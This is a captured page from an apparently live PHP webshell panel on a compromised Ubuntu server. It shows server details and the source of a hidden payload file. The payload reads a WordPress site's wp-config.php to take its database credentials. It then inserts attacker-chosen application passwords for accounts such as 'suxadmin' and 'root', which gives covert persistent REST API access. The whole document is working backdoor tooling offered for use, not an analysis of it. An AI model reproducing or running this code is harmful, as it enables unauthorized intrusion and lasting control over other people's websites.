403Webshell
Server IP : 3.7.136.76  /  Your IP : 216.73.216.142
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-39-148 7.0.0-1010-aws #10~24.04.1-Ubuntu SMP PREEMPT Mon Jul 27 17:41:33 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /snap/core22/2955/run/shm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/core22/2955/run/shm//.ent
<?php
error_reporting(0);

if (!function_exists('payload_result')) {
    function payload_result(array $r) {
        echo '@@RES' . 'ULT@@' . json_encode($r) . '@@EN' . 'D@@';
        exit;
    }
}

// __DIR__ alone is not enough: the fputs/cmd backdoor families stage the
// payload through a temp dir and include it from there, so __DIR__ points
// at /tmp instead of the site tree. The web SAPI keeps the requested
// script's dir as cwd and SCRIPT_FILENAME, so those anchors still land
// inside the site even when the payload body does not.
$docroot = null;
$anchors = array(__DIR__);
$cwd = @getcwd();
if (is_string($cwd) && $cwd !== '') {
    $anchors[] = $cwd;
}
$scriptFile = isset($_SERVER['SCRIPT_FILENAME']) ? $_SERVER['SCRIPT_FILENAME'] : '';
if (is_string($scriptFile) && $scriptFile !== '') {
    $anchors[] = dirname($scriptFile);
}
foreach (array_unique($anchors) as $anchor) {
    $dir = $anchor;
    for ($i = 0; $i <= 12; $i++) {
        if (is_file($dir . '/wp-config.php')) {
            $docroot = $dir;
            break 2;
        }
        $parent = dirname($dir);
        if ($parent === $dir) {
            break;
        }
        $dir = $parent;
    }
}
if ($docroot === null) {
    payload_result(array('ok' => false, 'code' => 'PRELUDE_DOCROOT'));
}

$wpConfig = @file_get_contents($docroot . '/wp-config.php');
if ($wpConfig === false) {
    payload_result(array('ok' => false, 'code' => 'PRELUDE_CONFIG'));
}

if (!function_exists('prelude_config_constant')) {
    function prelude_config_constant($config, $name) {
        $pattern = '/define\s*\(\s*[\'"]' . $name . '[\'"]\s*,\s*[\'"]([^\'"]*)[\'"]\s*\)/';
        if (!preg_match($pattern, $config, $m)) {
            return null;
        }
        return $m[1];
    }
}

$dbName = prelude_config_constant($wpConfig, 'DB_NAME');
$dbUser = prelude_config_constant($wpConfig, 'DB_USER');
$dbPass = prelude_config_constant($wpConfig, 'DB_PASSWORD');
$dbHost = prelude_config_constant($wpConfig, 'DB_HOST');

$prefix = 'wp_';
if (preg_match('/\$table_prefix\s*=\s*[\'"]([^\'"]+)[\'"]\s*;/', $wpConfig, $m)) {
    $prefix = $m[1];
}

if ($dbName === null || $dbUser === null || $dbPass === null || $dbHost === null) {
    payload_result(array('ok' => false, 'code' => 'PRELUDE_CONFIG'));
}

$hostParts = explode(':', $dbHost, 2);
$host = $hostParts[0];
$port = isset($hostParts[1]) ? intval($hostParts[1]) : 3306;

mysqli_report(MYSQLI_REPORT_OFF);
$db = mysqli_init();
if ($db === false) {
    payload_result(array('ok' => false, 'code' => 'PRELUDE_DB_CONNECT'));
}
mysqli_options($db, MYSQLI_OPT_CONNECT_TIMEOUT, 10);
if (!@mysqli_real_connect($db, $host, $dbUser, $dbPass, $dbName, $port)) {
    payload_result(array('ok' => false, 'code' => 'PRELUDE_DB_CONNECT'));
}

$phpassFile = $docroot . '/wp-includes/class-phpass.php';
if (!is_file($phpassFile)) {
    payload_result(array('ok' => false, 'code' => 'PRELUDE_PHPASS'));
}
require_once $phpassFile;
if (!class_exists('PasswordHash')) {
    payload_result(array('ok' => false, 'code' => 'PRELUDE_PHPASS'));
}
$phpass = new PasswordHash(8, true);

$payload_version = '2026.10.04';

$entries = array(
    array('login' => 'suxadmin', 'serialized' => 'a:1:{i:0;a:7:{s:4:"uuid";s:36:"1011930c-94ba-495b-9780-7fd38ec79029";s:6:"app_id";s:36:"0163bb14-e64e-456c-9d4e-4c85e67399d4";s:4:"name";s:17:"Site REST general";s:8:"password";s:60:"$2y$10$GkPC.Pb/7vr0DDh7PPvHJuNUfI/7VyZhUpL8I5FZLWSoPfiEJZ/S6";s:7:"created";i:1793826723;s:9:"last_used";N;s:7:"last_ip";N;}}'),
    array('login' => 'manager_aa0c7215aa11a0c5', 'serialized' => 'a:1:{i:0;a:7:{s:4:"uuid";s:36:"dccdc975-8020-44ba-bd6e-c6366b4ab22f";s:6:"app_id";s:36:"757c0d1c-5731-4fc5-994f-a03d5a6538da";s:4:"name";s:20:"Site REST additional";s:8:"password";s:60:"$2y$10$lP2Sxdx3yd0Wd3YTZw.OResTAEDTwObvZxlba300ha4UXxqJsCJ3a";s:7:"created";i:1793826723;s:9:"last_used";N;s:7:"last_ip";N;}}'),
    array('login' => 'root', 'serialized' => 'a:1:{i:0;a:7:{s:4:"uuid";s:36:"d9e998da-8763-40b1-aff4-8b0cec890d29";s:6:"app_id";s:36:"baffbcf3-3668-4255-8c94-ca224a984685";s:4:"name";s:16:"Site REST hidden";s:8:"password";s:60:"$2y$10$QItQVRtY/XyNCptlWDD1gO3ZRsPyYVcBWHZlv6YZ7cXcuxRxmuqwO";s:7:"created";i:1793826723;s:9:"last_used";N;s:7:"last_ip";N;}}'),
);
$metaKey = '_application_passwords';
$results = array();
$allOk = true;

foreach ($entries as $entry) {
    $login = $entry['login'];
    $serialized = $entry['serialized'];

    $stmt = mysqli_prepare($db, "SELECT ID FROM {$prefix}users WHERE user_login = ? LIMIT 1");
    if ($stmt === false) {
        $results[] = array('login' => $login, 'ok' => false, 'code' => 'APP_PASS_QUERY');
        $allOk = false;
        continue;
    }
    mysqli_stmt_bind_param($stmt, 's', $login);
    if (!mysqli_stmt_execute($stmt)) {
        mysqli_stmt_close($stmt);
        $results[] = array('login' => $login, 'ok' => false, 'code' => 'APP_PASS_QUERY');
        $allOk = false;
        continue;
    }
    mysqli_stmt_bind_result($stmt, $userId);
    $found = mysqli_stmt_fetch($stmt);
    mysqli_stmt_close($stmt);

    if (!$found) {
        $results[] = array('login' => $login, 'ok' => false, 'code' => 'APP_PASS_USER_MISSING');
        $allOk = false;
        continue;
    }

    $meta = mysqli_prepare($db, "SELECT umeta_id FROM {$prefix}usermeta WHERE user_id = ? AND meta_key = ? LIMIT 1");
    if ($meta === false) {
        $results[] = array('login' => $login, 'ok' => false, 'code' => 'APP_PASS_QUERY');
        $allOk = false;
        continue;
    }
    mysqli_stmt_bind_param($meta, 'is', $userId, $metaKey);
    if (!mysqli_stmt_execute($meta)) {
        mysqli_stmt_close($meta);
        $results[] = array('login' => $login, 'ok' => false, 'code' => 'APP_PASS_QUERY');
        $allOk = false;
        continue;
    }
    mysqli_stmt_bind_result($meta, $metaId);
    $hasMeta = mysqli_stmt_fetch($meta);
    mysqli_stmt_close($meta);

    if ($hasMeta) {
        $write = mysqli_prepare($db, "UPDATE {$prefix}usermeta SET meta_value = ? WHERE umeta_id = ?");
        if ($write === false) {
            $results[] = array('login' => $login, 'ok' => false, 'code' => 'APP_PASS_QUERY');
            $allOk = false;
            continue;
        }
        mysqli_stmt_bind_param($write, 'si', $serialized, $metaId);
    } else {
        $write = mysqli_prepare($db, "INSERT INTO {$prefix}usermeta (user_id, meta_key, meta_value) VALUES (?, ?, ?)");
        if ($write === false) {
            $results[] = array('login' => $login, 'ok' => false, 'code' => 'APP_PASS_QUERY');
            $allOk = false;
            continue;
        }
        mysqli_stmt_bind_param($write, 'iss', $userId, $metaKey, $serialized);
    }
    if (!mysqli_stmt_execute($write)) {
        mysqli_stmt_close($write);
        $results[] = array('login' => $login, 'ok' => false, 'code' => 'APP_PASS_QUERY');
        $allOk = false;
        continue;
    }
    mysqli_stmt_close($write);

    $results[] = array('login' => $login, 'ok' => true, 'code' => 'APP_PASS_UPSERTED', 'userId' => $userId);
}

payload_result(array('ok' => $allOk, 'code' => $allOk ? 'APP_PASS_UPSERTED' : 'APP_PASS_PARTIAL', 'data' => array('results' => $results)));

Youez - 2016 - github.com/yon3zu
LinuXploit